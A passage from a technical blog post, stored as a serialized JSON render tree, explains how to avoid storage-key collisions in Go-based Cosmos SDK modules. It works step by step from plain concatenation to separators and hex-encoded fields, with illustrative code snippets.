e":131},[86773],{"type":28,"value":86774},"Position\n",{"type":22,"tag":31,"props":86776,"children":86777},{},[86778,86780,86786],{"type":28,"value":86779},"Given that there are two levels of keys in ",{"type":22,"tag":114,"props":86781,"children":86783},{"className":86782},[],[86784],{"type":28,"value":86785},"PositionMap",{"type":28,"value":86787},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":22,"tag":107,"props":86789,"children":86791},{"code":86790,"language":77760,"meta":7,"className":77761,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[86792],{"type":22,"tag":114,"props":86793,"children":86794},{"__ignoreMap":7},[86795,86824,86836,86848,86860,86872],{"type":22,"tag":118,"props":86796,"children":86797},{"class":120,"line":121},[86798,86803,86807,86811,86815,86820],{"type":22,"tag":118,"props":86799,"children":86800},{"style":204},[86801],{"type":28,"value":86802},"storageKey",{"type":22,"tag":118,"props":86804,"children":86805},{"style":210},[86806],{"type":28,"value":78012},{"type":22,"tag":118,"props":86808,"children":86809},{"style":204},[86810],{"type":28,"value":83830},{"type":22,"tag":118,"props":86812,"children":86813},{"style":125},[86814],{"type":28,"value":292},{"type":22,"tag":118,"props":86816,"children":86817},{"style":532},[86818],{"type":28,"value":86819},"Sprintf",{"type":22,"tag":118,"props":86821,"children":86822},{"style":125},[86823],{"type":28,"value":696},{"type":22,"tag":118,"props":86825,"children":86826},{"class":120,"line":142},[86827,86832],{"type":22,"tag":118,"props":86828,"children":86829},{"style":1866},[86830],{"type":28,"value":86831},"    \"%d%s%s\"",{"type":22,"tag":118,"props":86833,"children":86834},{"style":125},[86835],{"type":28,"value":782},{"type":22,"tag":118,"props":86837,"children":86838},{"class":120,"line":177},[86839,86844],{"type":22,"tag":118,"props":86840,"children":86841},{"style":204},[86842],{"type":28,"value":86843},"    vaultId",{"type":22,"tag":118,"props":86845,"children":86846},{"style":125},[86847],{"type":28,"value":782},{"type":22,"tag":118,"props":86849,"children":86850},{"class":120,"line":195},[86851,86856],{"type":22,"tag":118,"props":86852,"children":86853},{"style":204},[86854],{"type":28,"value":86855},"    username",{"type":22,"tag":118,"props":86857,"children":86858},{"style":125},[86859],{"type":28,"value":782},{"type":22,"tag":118,"props":86861,"children":86862},{"class":120,"line":244},[86863,86868],{"type":22,"tag":118,"props":86864,"children":86865},{"style":204},[86866],{"type":28,"value":86867},"    positionName",{"type":22,"tag":118,"props":86869,"children":86870},{"style":125},[86871],{"type":28,"value":782},{"type":22,"tag":118,"props":86873,"children":86874},{"class":120,"line":253},[86875],{"type":22,"tag":118,"props":86876,"children":86877},{"style":125},[86878],{"type":28,"value":3665},{"type":22,"tag":31,"props":86880,"children":86881},{},[86882],{"type":28,"value":86883},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":22,"tag":107,"props":86885,"children":86887},{"code":86886},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[86888],{"type":22,"tag":114,"props":86889,"children":86890},{"__ignoreMap":7},[86891],{"type":28,"value":86886},{"type":22,"tag":31,"props":86893,"children":86894},{},[86895,86900],{"type":22,"tag":4764,"props":86896,"children":86897},{},[86898],{"type":28,"value":86899},"So, how can we mitigate this issue?",{"type":28,"value":86901},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":22,"tag":107,"props":86903,"children":86905},{"code":86904,"language":77760,"meta":7,"className":77761,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[86906],{"type":22,"tag":114,"props":86907,"children":86908},{"__ignoreMap":7},[86909,86920,86937,86944,86951,86978,86990,87001,87012,87023,87034,87045],{"type":22,"tag":118,"props":86910,"children":86911},{"class":120,"line":121},[86912,86916],{"type":22,"tag":118,"props":86913,"children":86914},{"style":146},[86915],{"type":28,"value":11653},{"type":22,"tag":118,"props":86917,"children":86918},{"style":125},[86919],{"type":28,"value":80162},{"type":22,"tag":118,"props":86921,"children":86922},{"class":120,"line":142},[86923,86928,86932],{"type":22,"tag":118,"props":86924,"children":86925},{"style":204},[86926],{"type":28,"value":86927},"    Seperator",{"type":22,"tag":118,"props":86929,"children":86930},{"style":210},[86931],{"type":28,"value":837},{"type":22,"tag":118,"props":86933,"children":86934},{"style":1866},[86935],{"type":28,"value":86936}," \"|\"\n",{"type":22,"tag":118,"props":86938,"children":86939},{"class":120,"line":177},[86940],{"type":22,"tag":118,"props":86941,"children":86942},{"style":125},[86943],{"type":28,"value":3665},{"type":22,"tag":118,"props":86945,"children":86946},{"class":120,"line":195},[86947],{"type":22,"tag":118,"props":86948,"children":86949},{"emptyLinePlaceholder":15},[86950],{"type":28,"value":250},{"type":22,"tag":118,"props":86952,"children":86953},{"class":120,"line":244},[86954,86958,86962,86966,86970,86974],{"type":22,"tag":118,"props":86955,"children":86956},{"style":204},[86957],{"type":28,"value":86802},{"type":22,"tag":118,"props":86959,"children":86960},{"style":210},[86961],{"type":28,"value":78012},{"type":22,"tag":118,"props":86963,"children":86964},{"style":204},[86965],{"type":28,"value":83830},{"type":22,"tag":118,"props":86967,"children":86968},{"style":125},[86969],{"type":28,"value":292},{"type":22,"tag":118,"props":86971,"children":86972},{"style":532},[86973],{"type":28,"value":86819},{"type":22,"tag":118,"props":86975,"children":86976},{"style":125},[86977],{"type":28,"value":696},{"type":22,"tag":118,"props":86979,"children":86980},{"class":120,"line":253},[86981,86986],{"type":22,"tag":118,"props":86982,"children":86983},{"style":1866},[86984],{"type":28,"value":86985},"    \"%d%s%s%s%s\"",{"type":22,"tag":118,"props":86987,"children":86988},{"style":125},[86989],{"type":28,"value":782},{"type":22,"tag":118,"props":86991,"children":86992},{"class":120,"line":263},[86993,86997],{"type":22,"tag":118,"props":86994,"children":86995},{"style":204},[86996],{"type":28,"value":86843},{"type":22,"tag":118,"props":86998,"children":86999},{"style":125},[87000],{"type":28,"value":782},{"type":22,"tag":118,"props":87002,"children":87003},{"class":120,"line":318},[87004,87008],{"type":22,"tag":118,"props":87005,"children":87006},{"style":204},[87007],{"type":28,"value":86927},{"type":22,"tag":118,"props":87009,"children":87010},{"style":125},[87011],{"type":28,"value":782},{"type":22,"tag":118,"props":87013,"children":87014},{"class":120,"line":351},[87015,87019],{"type":22,"tag":118,"props":87016,"children":87017},{"style":204},[87018],{"type":28,"value":86855},{"type":22,"tag":118,"props":87020,"children":87021},{"style":125},[87022],{"type":28,"value":782},{"type":22,"tag":118,"props":87024,"children":87025},{"class":120,"line":359},[87026,87030],{"type":22,"tag":118,"props":87027,"children":87028},{"style":204},[87029],{"type":28,"value":86927},{"type":22,"tag":118,"props":87031,"children":87032},{"style":125},[87033],{"type":28,"value":782},{"type":22,"tag":118,"props":87035,"children":87036},{"class":120,"line":368},[87037,87041],{"type":22,"tag":118,"props":87038,"children":87039},{"style":204},[87040],{"type":28,"value":86867},{"type":22,"tag":118,"props":87042,"children":87043},{"style":125},[87044],{"type":28,"value":782},{"type":22,"tag":118,"props":87046,"children":87047},{"class":120,"line":384},[87048],{"type":22,"tag":118,"props":87049,"children":87050},{"style":125},[87051],{"type":28,"value":3665},{"type":22,"tag":31,"props":87053,"children":87054},{},[87055],{"type":28,"value":87056},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":22,"tag":31,"props":87058,"children":87059},{},[87060,87062,87068,87069,87075],{"type":28,"value":87061},"Sadly, it doesn't. Since the ",{"type":22,"tag":114,"props":87063,"children":87065},{"className":87064},[],[87066],{"type":28,"value":87067},"username",{"type":28,"value":12991},{"type":22,"tag":114,"props":87070,"children":87072},{"className":87071},[],[87073],{"type":28,"value":87074},"vaultName",{"type":28,"value":87076}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":22,"tag":107,"props":87078,"children":87080},{"code":87079},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[87081],{"type":22,"tag":114,"props":87082,"children":87083},{"__ignoreMap":7},[87084],{"type":28,"value":87079},{"type":22,"tag":31,"props":87086,"children":87087},{},[87088],{"type":28,"value":87089},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":22,"tag":107,"props":87091,"children":87093},{"code":87092,"language":77760,"meta":7,"className":77761,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[87094],{"type":22,"tag":114,"props":87095,"children":87096},{"__ignoreMap":7},[87097,87108,87123,87130,87137,87144,87165,87181,87219,87226,87263,87270,87290,87305,87341,87348,87383,87390,87417,87428,87439,87450,87462,87473,87481],{"type":22,"tag":118,"props":87098,"children":87099},{"class":120,"line":121},[87100,87104],{"type":22,"tag":118,"props":87101,"children":87102},{"style":146},[87103],{"type":28,"value":11653},{"type":22,"tag":118,"props":87105,"children":87106},{"style":125},[87107],{"type":28,"value":80162},{"type":22,"tag":118,"props":87109,"children":87110},{"class":120,"line":142},[87111,87115,87119],{"type":22,"tag":118,"props":87112,"children":87113},{"style":204},[87114],{"type":28,"value":86927},{"type":22,"tag":118,"props":87116,"children":87117},{"style":210},[87118],{"type":28,"value":837},{"type":22,"tag":118,"props":87120,"children":87121},{"style":1866},[87122],{"type":28,"value":86936},{"type":22,"tag":118,"props":87124,"children":87125},{"class":120,"line":177},[87126],{"type":22,"tag":118,"props":87127,"children":87128},{"style":125},[87129],{"type":28,"value":3665},{"type":22,"tag":118,"props":87131,"children":87132},{"class":120,"line":195},[87133],{"type":22,"tag":118,"props":87134,"children":87135},{"emptyLinePlaceholder":15},[87136],{"type":28,"value":250},{"type":22,"tag":118,"props":87138,"children":87139},{"class":120,"line":244},[87140],{"type":22,"tag":118,"props":87141,"children":87142},{"emptyLinePlaceholder":15},[87143],{"type":28,"value":250},{"type":22,"tag":118,"props":87145,"children":87146},{"class":120,"line":253},[87147,87152,87156,87161],{"type":22,"tag":118,"props":87148,"children":87149},{"style":204},[87150],{"type":28,"value":87151},"usernameEncoded",{"type":22,"tag":118,"props":87153,"children":87154},{"style":210},[87155],{"type":28,"value":78012},{"type":22,"tag":118,"props":87157,"children":87158},{"style":532},[87159],{"type":28,"value":87160}," make",{"type":22,"tag":118,"props":87162,"children":87163},{"style":125},[87164],{"type":28,"value":696},{"type":22,"tag":118,"props":87166,"children":87167},{"class":120,"line":263},[87168,87173,87177],{"type":22,"tag":118,"props":87169,"children":87170},{"style":125},[87171],{"type":28,"value":87172},"    []",{"type":22,"tag":118,"props":87174,"children":87175},{"style":131},[87176],{"type":28,"value":86361},{"type":22,"tag":118,"props":87178,"children":87179},{"style":125},[87180],{"type":28,"value":782},{"type":22,"tag":118,"props":87182,"children":87183},{"class":120,"line":318},[87184,87189,87193,87198,87202,87206,87210,87214],{"type":22,"tag":118,"props":87185,"children":87186},{"style":204},[87187],{"type":28,"value":87188},"    hex",{"type":22,"tag":118,"props":87190,"children":87191},{"style":125},[87192],{"type":28,"value":292},{"type":22,"tag":118,"props":87194,"children":87195},{"style":532},[87196],{"type":28,"value":87197},"EncodedLen",{"type":22,"tag":118,"props":87199,"children":87200},{"style":125},[87201],{"type":28,"value":540},{"type":22,"tag":118,"props":87203,"children":87204},{"style":532},[87205],{"type":28,"value":11137},{"type":22,"tag":118,"props":87207,"children":87208},{"style":125},[87209],{"type":28,"value":540},{"type":22,"tag":118,"props":87211,"children":87212},{"style":204},[87213],{"type":28,"value":87067},{"type":22,"tag":118,"props":87215,"children":87216},{"style":125},[87217],{"type":28,"value":87218},")),\n",{"type":22,"tag":118,"props":87220,"children":87221},{"class":120,"line":351},[87222],{"type":22,"tag":118,"props":87223,"children":87224},{"style":125},[87225],{"type":28,"value":3665},{"type":22,"tag":118,"props":87227,"children":87228},{"class":120,"line":359},[87229,87234,87238,87243,87247,87251,87255,87259],{"type":22,"tag":118,"props":87230,"children":87231},{"style":204},[87232],{"type":28,"value":87233},"hex",{"type":22,"tag":118,"props":87235,"children":87236},{"style":125},[87237],{"type":28,"value":292},{"type":22,"tag":118,"props":87239,"children":87240},{"style":532},[87241],{"type":28,"value":87242},"Encode",{"type":22,"tag":118,"props":87244,"children":87245},{"style":125},[87246],{"type":28,"value":540},{"type":22,"tag":118,"props":87248,"children":87249},{"style":204},[87250],{"type":28,"value":87151},{"type":22,"tag":118,"props":87252,"children":87253},{"style":125},[87254],{"type":28,"value":231},{"type":22,"tag":118,"props":87256,"children":87257},{"style":204},[87258],{"type":28,"value":87067},{"type":22,"tag":118,"props":87260,"children":87261},{"style":125},[87262],{"type":28,"value":3665},{"type":22,"tag":118,"props":87264,"children":87265},{"class":120,"line":368},[87266],{"type":22,"tag":118,"props":87267,"children":87268},{"emptyLinePlaceholder":15},[87269],{"type":28,"value":250},{"type":22,"tag":118,"props":87271,"children":87272},{"class":120,"line":384},[87273,87278,87282,87286],{"type":22,"tag":118,"props":87274,"children":87275},{"style":204},[87276],{"type":28,"value":87277},"positionNameEncoded",{"type":22,"tag":118,"props":87279,"children":87280},{"style":210},[87281],{"type":28,"value":78012},{"type":22,"tag":118,"props":87283,"children":87284},{"style":532},[87285],{"type":28,"value":87160},{"type":22,"tag":118,"props":87287,"children":87288},{"style":125},[87289],{"type":28,"value":696},{"type":22,"tag":118,"props":87291,"children":87292},{"class":120,"line":417},[87293,87297,87301],{"type":22,"tag":118,"props":87294,"children":87295},{"style":125},[87296],{"type":28,"value":87172},{"type":22,"tag":118,"props":87298,"children":87299},{"style":131},[87300],{"type":28,"value":86361},{"type":22,"tag":118,"props":87302,"children":87303},{"style":125},[87304],{"type":28,"value":782},{"type":22,"tag":118,"props":87306,"children":87307},{"class":120,"line":425},[87308,87312,87316,87320,87324,87328,87332,87337],{"type":22,"tag":118,"props":87309,"children":87310},{"style":204},[87311],{"type":28,"value":87188},{"type":22,"tag":118,"props":87313,"children":87314},{"style":125},[87315],{"type":28,"value":292},{"type":22,"tag":118,"props":87317,"children":87318},{"style":532},[87319],{"type":28,"value":87197},{"type":22,"tag":118,"props":87321,"children":87322},{"style":125},[87323],{"type":28,"value":540},{"type":22,"tag":118,"props":87325,"children":87326},{"style":532},[87327],{"type":28,"value":11137},{"type":22,"tag":118,"props":87329,"children":87330},{"style":125},[87331],{"type":28,"value":540},{"type":22,"tag":118,"props":87333,"children":87334},{"style":204},[87335],{"type":28,"value":87336},"positionName",{"type":22,"tag":118,"props":87338,"children":87339},{"style":125},[87340],{"type":28,"value":87218},{"type":22,"tag":118,"props":87342,"children":87343},{"class":120,"line":441},[87344],{"type":22,"tag":118,"props":87345,"children":87346},{"style":125},[87347],{"type":28,"value":3665},{"type":22,"tag":118,"props":87349,"children":87350},{"class":120,"line":475},[87351,87355,87359,87363,87367,87371,87375,87379],{"type":22,"tag":118,"props":87352,"children":87353},{"style":204},[87354],{"type":28,"value":87233},{"type":22,"tag":118,"props":87356,"children":87357},{"style":125},[87358],{"type":28,"value":292},{"type":22,"tag":118,"props":87360,"children":87361},{"style":532},[87362],{"type":28,"value":87242},{"type":22,"tag":118,"props":87364,"children":87365},{"style":125},[87366],{"type":28,"value":540},{"type":22,"tag":118,"props":87368,"children":87369},{"style":204},[87370],{"type":28,"value":87277},{"type":22,"tag":118,"props":87372,"children":87373},{"style":125},[87374],{"type":28,"value":231},{"type":22,"tag":118,"props":87376,"children":87377},{"style":204},[87378],{"type":28,"value":87336},{"type":22,"tag":118,"props":87380,"children":87381},{"style":125},[87382],{"type":28,"value":3665},{"type":22,"tag":118,"props":87384,"children":87385},{"class":120,"line":484},[87386],{"type":22,"tag":118,"props":87387,"children":87388},{"emptyLinePlaceholder":15},[87389],{"type":28,"value":250},{"type":22,"tag":118,"props":87391,"children":87392},{"class":120,"line":492},[87393,87397,87401,87405,87409,87413],{"type":22,"tag":118,"props":87394,"children":87395},{"style":204},[87396],{"type":28,"value":86802},{"type":22,"tag":118,"props":87398,"children":87399},{"style":210},[87400],{"type":28,"value":78012},{"type":22,"tag":118,"props":87402,"children":87403},{"style":204},[87404],{"type":28,"value":83830},{"type":22,"tag":118,"props":87406,"children":87407},{"style":125},[87408],{"type":28,"value":292},{"type":22,"tag":118,"props":87410,"children":87411},{"style":532},[87412],{"type":28,"value":86819},{"type":22,"tag":118,"props":87414,"children":87415},{"style":125},[87416],{"type":28,"value":696},{"type":22,"tag":118,"props":87418,"children":87419},{"class":120,"line":501},[87420,87424],{"type":22,"tag":118,"props":87421,"children":87422},{"style":1866},[87423],{"type":28,"value":86985},{"type":22,"tag":118,"props":87425,"children":87426},{"style":125},[87427],{"type":28,"value":782},{"type":22,"tag":118,"props":87429,"children":87430},{"class":120,"line":519},[87431,87435],{"type":22,"tag":118,"props":87432,"children":87433},{"style":204},[87434],{"type":28,"value":86843},{"type":22,"tag":118,"props":87436,"children":87437},{"style":125},[87438],{"type":28,"value":782},{"type":22,"tag":118,"props":87440,"children":87441},{"class":120,"line":606},[87442,87446],{"type":22,"tag":118,"props":87443,"children":87444},{"style":204},[87445],{"type":28,"value":86927},{"type":22,"tag":118,"props":87447,"children":87448},{"style":125},[87449],{"type":28,"value":782},{"type":22,"tag":118,"props":87451,"children":87452},{"class":120,"line":615},[87453,87458],{"type":22,"tag":118,"props":87454,"children":87455},{"style":204},[87456],{"type":28,"value":87457},"    usernameEncoded",{"type":22,"tag":118,"props":87459,"children":87460},{"style":125},[87461],{"type":28,"value":782},{"type":22,"tag":118,"props":87463,"children":87464},{"class":120,"line":685},[87465,87469],{"type":22,"tag":118,"props":87466,"children":87467},{"style":204},[87468],{"type":28,"value":86927},{"type":22,"tag":118,"props":87470,"children":87471},{"style":125},[87472],{"type":28,"value":782},{"type":22,"tag":118,"props":87474,"children":87475},{"class":120,"line":699},[87476],{"type":22,"tag":118,"props":87477,"children":87478},{"style":204},[87479],{"type":28,"value":87480},"    positionNameEncoded\n",{"type":22,"tag":118,"props":87482,"children":87483},{"class":120,"line":729},[87484],{"type":22,"tag":118,"props":87485,"children":87486},{"style":125},[87487],{"type":28,"value":3665},{"type":22,"tag":31,"props":87489,"children":87490},{},[87491,87493,87498],{"type":28,"value":87492},"We did it. We finally eliminated all potential ",{"type":22,"tag":114,"props":87494,"children":87496},{"className":87495},[],[87497],{"type":28,"value":86802},{"type":28,"value":87499}," collisions.",{"type":22,"tag":31,"props":87501,"children":87502},{},[87503],{"type":28,"value":87504},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":22,"tag":31,"props":87506,"children":87507},{},[87508,87510,87516,87518,87523,87525,87530,87532,87537,87539,87545],{"type":28,"value":87509},"In the Cosmos framework, it is common for each ",{"type":22,"tag":114,"props":87511,"children":87513},{"className":87512},[],[87514],{"type":28,"value":87515},"Module",{"type":28,"value":87517}," to own a few ",{"type":22,"tag":114,"props":87519,"children":87521},{"className":87520},[],[87522],{"type":28,"value":86573},{"type":28,"value":87524}," and have individual ",{"type":22,"tag":114,"props":87526,"children":87528},{"className":87527},[],[87529],{"type":28,"value":81541},{"type":28,"value":87531},"s managing access to storages. It's also important to note that each ",{"type":22,"tag":114,"props":87533,"children":87535},{"className":87534},[],[87536],{"type":28,"value":86573},{"type":28,"value":87538}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":22,"tag":114,"props":87540,"children":87542},{"className":87541},[],[87543],{"type":28,"value":87544},"Modules",{"type":28,"value":292},{"type":22,"tag":31,"props":87547,"children":87548},{},[87549,87551,87556],{"type":28,"value":87550},"With that being said, what if we have to maintain more than one structure within the same ",{"type":22,"tag":114,"props":87552,"children":87554},{"className":87553},[],[87555],{"type":28,"value":86573},{"type":28,"value":796},{"type":22,"tag":31,"props":87558,"children":87559},{},[87560,87562,87568,87570,87575],{"type":28,"value":87561},"To demonstrate this scenario, we introduce the ",{"type":22,"tag":114,"props":87563,"children":87565},{"className":87564},[],[87566],{"type":28,"value":87567},"NameToAddressMap",{"type":28,"value":87569}," structure, which will be stored in the same ",{"type":22,"tag":114,"props":87571,"children":87573},{"className":87572},[],[87574],{"type":28,"value":86573},{"type":28,"value":87576}," we previously used.",{"type":22,"tag":107,"props":87578,"children":87580},{"code":87579,"language":77760,"meta":7,"className":77761,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[87581],{"type":22,"tag":114,"props":87582,"children":87583},{"__ignoreMap":7},[87584,87599,87614,87621,87636,87655,87670,87677,87692,87747,87754,87770,87790,87805,87812,87828],{"type":22,"tag":118,"props":87585,"children":87586},{"class":120,"line":121},[87587,87591,87595],{"type":22,"tag":118,"props":87588,"children":87589},{"style":146},[87590],{"type":28,"value":34695},{"type":22,"tag":118,"props":87592,"children":87593},{"style":131},[87594],{"type":28,"value":86619},{"type":22,"tag":118,"props":87596,"children":87597},{"style":131},[87598],{"type":28,"value":77798},{"type":22,"tag":118,"props":87600,"children":87601},{"class":120,"line":142},[87602,87606,87610],{"type":22,"tag":118,"props":87603,"children":87604},{"style":146},[87605],{"type":28,"value":34695},{"type":22,"tag":118,"props":87607,"children":87608},{"style":131},[87609],{"type":28,"value":86635},{"type":22,"tag":118,"props":87611,"children":87612},{"style":131},[87613],{"type":28,"value":86640},{"type":22,"tag":118,"props":87615,"children":87616},{"class":120,"line":177},[87617],{"type":22,"tag":118,"props":87618,"children":87619},{"emptyLinePlaceholder":15},[87620],{"type":28,"value":250},{"type":22,"tag":118,"props":87622,"children":87623},{"class":120,"line":195},[87624,87628,87632],{"type":22,"tag":118,"props":87625,"children":87626},{"style":146},[87627],{"type":28,"value":34695},{"type":22,"tag":118,"props":87629,"children":87630},{"style":131},[87631],{"type":28,"value":86652},{"type":22,"tag":118,"props":87633,"children":87634},{"style":131},[87635],{"type":28,"value":86640},{"type":22,"tag":118,"props":87637,"children":87638},{"class":120,"line":244},[87639,87643,87647,87651],{"type":22,"tag":118,"props":87640,"children":87641},{"style":146},[87642],{"type":28,"value":34695},{"type":22,"tag":118,"props":87644,"children":87645},{"style":131},[87646],{"type":28,"value":9431},{"type":22,"tag":118,"props":87648,"children":87649},{"style":146},[87650],{"type":28,"value":154},{"type":22,"tag":118,"props":87652,"children":87653},{"style":125},[87654],{"type":28,"value":1474},{"type":22,"tag":118,"props":87656,"children":87657},{"class":120,"line":253},[87658,87662,87666],{"type":22,"tag":118,"props":87659,"children":87660},{"style":204},[87661],{"type":28,"value":45169},{"type":22,"tag":118,"props":87663,"children":87664},{"style":125},[87665],{"type":28,"value":77823},{"type":22,"tag":118,"props":87667,"children":87668},{"style":131},[87669],{"type":28,"value":85824},{"type":22,"tag":118,"props":87671,"children":87672},{"class":120,"line":263},[87673],{"type":22,"tag":118,"props":87674,"children":87675},{"style":125},[87676],{"type":28,"value":481},{"type":22,"tag":118,"props":87678,"children":87679},{"class":120,"line":318},[87680,87684,87688],{"type":22,"tag":118,"props":87681,"children":87682},{"style":146},[87683],{"type":28,"value":34695},{"type":22,"tag":118,"props":87685,"children":87686},{"style":131},[87687],{"type":28,"value":86709},{"type":22,"tag":118,"props":87689,"children":87690},{"style":210},[87691],{"type":28,"value":86714},{"type":22,"tag":118,"props":87693,"children":87694},{"class":120,"line":351},[87695,87699,87703,87707,87711,87715,87719,87723,87727,87731,87735,87739,87743],{"type":22,"tag":118,"props":87696,"children":87697},{"style":146},[87698],{"type":28,"value":86722},{"type":22,"tag":118,"props":87700,"children":87701},{"style":125},[87702],{"type":28,"value":5746},{"type":22,"tag":118,"props":87704,"children":87705},{"style":131},[87706],{"type":28,"value":86731},{"type":22,"tag":118,"props":87708,"children":87709},{"style":125},[87710],{"type":28,"value":17386},{"type":22,"tag":118,"props":87712,"children":87713},{"style":146},[87714],{"type":28,"value":3595},{"type":22,"tag":118,"props":87716,"children":87717},{"style":125},[87718],{"type":28,"value":5746},{"type":22,"tag":118,"props":87720,"children":87721},{"style":131},[87722],{"type":28,"value":86748},{"type":22,"tag":118,"props":87724,"children":87725},{"style":125},[87726],{"type":28,"value":17386},{"type":22,"tag":118,"props":87728,"children":87729},{"style":146},[87730],{"type":28,"value":3595},{"type":22,"tag":118,"props":87732,"children":87733},{"style":125},[87734],{"type":28,"value":5746},{"type":22,"tag":118,"props":87736,"children":87737},{"style":131},[87738],{"type":28,"value":86765},{"type":22,"tag":118,"props":87740,"children":87741},{"style":125},[87742],{"type":28,"value":17386},{"type":22,"tag":118,"props":87744,"children":87745},{"style":131},[87746],{"type":28,"value":86774},{"type":22,"tag":118,"props":87748,"children":87749},{"class":120,"line":359},[87750],{"type":22,"tag":118,"props":87751,"children":87752},{"emptyLinePlaceholder":15},[87753],{"type":28,"value":250},{"type":22,"tag":118,"props":87755,"children":87756},{"class":120,"line":368},[87757,87761,87766],{"type":22,"tag":118,"props":87758,"children":87759},{"style":146},[87760],{"type":28,"value":34695},{"type":22,"tag":118,"props":87762,"children":87763},{"style":131},[87764],{"type":28,"value":87765}," AddressName",{"type":22,"tag":118,"props":87767,"children":87768},{"style":131},[87769],{"type":28,"value":86640},{"type":22,"tag":118,"props":87771,"children":87772},{"class":120,"line":384},[87773,87777,87782,87786],{"type":22,"tag":118,"props":87774,"children":87775},{"style":146},[87776],{"type":28,"value":34695},{"type":22,"tag":118,"props":87778,"children":87779},{"style":131},[87780],{"type":28,"value":87781}," Address",{"type":22,"tag":118,"props":87783,"children":87784},{"style":146},[87785],{"type":28,"value":154},{"type":22,"tag":118,"props":87787,"children":87788},{"style":125},[87789],{"type":28,"value":1474},{"type":22,"tag":118,"props":87791,"children":87792},{"class":120,"line":417},[87793,87797,87801],{"type":22,"tag":118,"props":87794,"children":87795},{"style":204},[87796],{"type":28,"value":17081},{"type":22,"tag":118,"props":87798,"children":87799},{"style":125},[87800],{"type":28,"value":77823},{"type":22,"tag":118,"props":87802,"children":87803},{"style":131},[87804],{"type":28,"value":85824},{"type":22,"tag":118,"props":87806,"children":87807},{"class":120,"line":425},[87808],{"type":22,"tag":118,"props":87809,"children":87810},{"style":125},[87811],{"type":28,"value":481},{"type":22,"tag":118,"props":87813,"children":87814},{"class":120,"line":441},[87815,87819,87824],{"type":22,"tag":118,"props":87816,"children":87817},{"style":146},[87818],{"type":28,"value":34695},{"type":22,"tag":118,"props":87820,"children":87821},{"style":131},[87822],{"type":28,"value":87823}," AddressMap",{"type":22,"tag":118,"props":87825,"children":87826},{"style":210},[87827],{"type":28,"value":86714},{"type":22,"tag":118,"props":87829,"children":87830},{"class":120,"line":475},[87831,87835,87839,87843,87847,87851,87855,87859,87863,87867,87871,87876,87880],{"type":22,"tag":118,"props":87832,"children":87833},{"style":146},[87834],{"type":28,"value":86722},{"type":22,"tag":118,"props":87836,"children":87837},{"style":125},[87838],{"type":28,"value":5746},{"type":22,"tag":118,"props":87840,"children":87841},{"style":131},[87842],{"type":28,"value":86731},{"type":22,"tag":118,"props":87844,"children":87845},{"style":125},[87846],{"type":28,"value":17386},{"type":22,"tag":118,"props":87848,"children":87849},{"style":146},[87850],{"type":28,"value":3595},{"type":22,"tag":118,"props":87852,"children":87853},{"style":125},[87854],{"type":28,"value":5746},{"type":22,"tag":118,"props":87856,"children":87857},{"style":131},[87858],{"type":28,"value":86748},{"type":22,"tag":118,"props":87860,"children":87861},{"style":125},[87862],{"type":28,"value":17386},{"type":22,"tag":118,"props":87864,"children":87865},{"style":146},[87866],{"type":28,"value":3595},{"type":22,"tag":118,"props":87868,"children":87869},{"style":125},[87870],{"type":28,"value":5746},{"type":22,"tag":118,"props":87872,"children":87873},{"style":131},[87874],{"type":28,"value":87875},"AddressName",{"type":22,"tag":118,"props":87877,"children":87878},{"style":125},[87879],{"type":28,"value":17386},{"type":22,"tag":118,"props":87881,"children":87882},{"style":131},[87883],{"type":28,"value":87884},"Address\n",{"type":22,"tag":31,"props":87886,"children":87887},{},[87888],{"type":28,"value":87889},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":22,"tag":107,"props":87891,"children":87893},{"code":87892,"language":77760,"meta":7,"className":77761,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    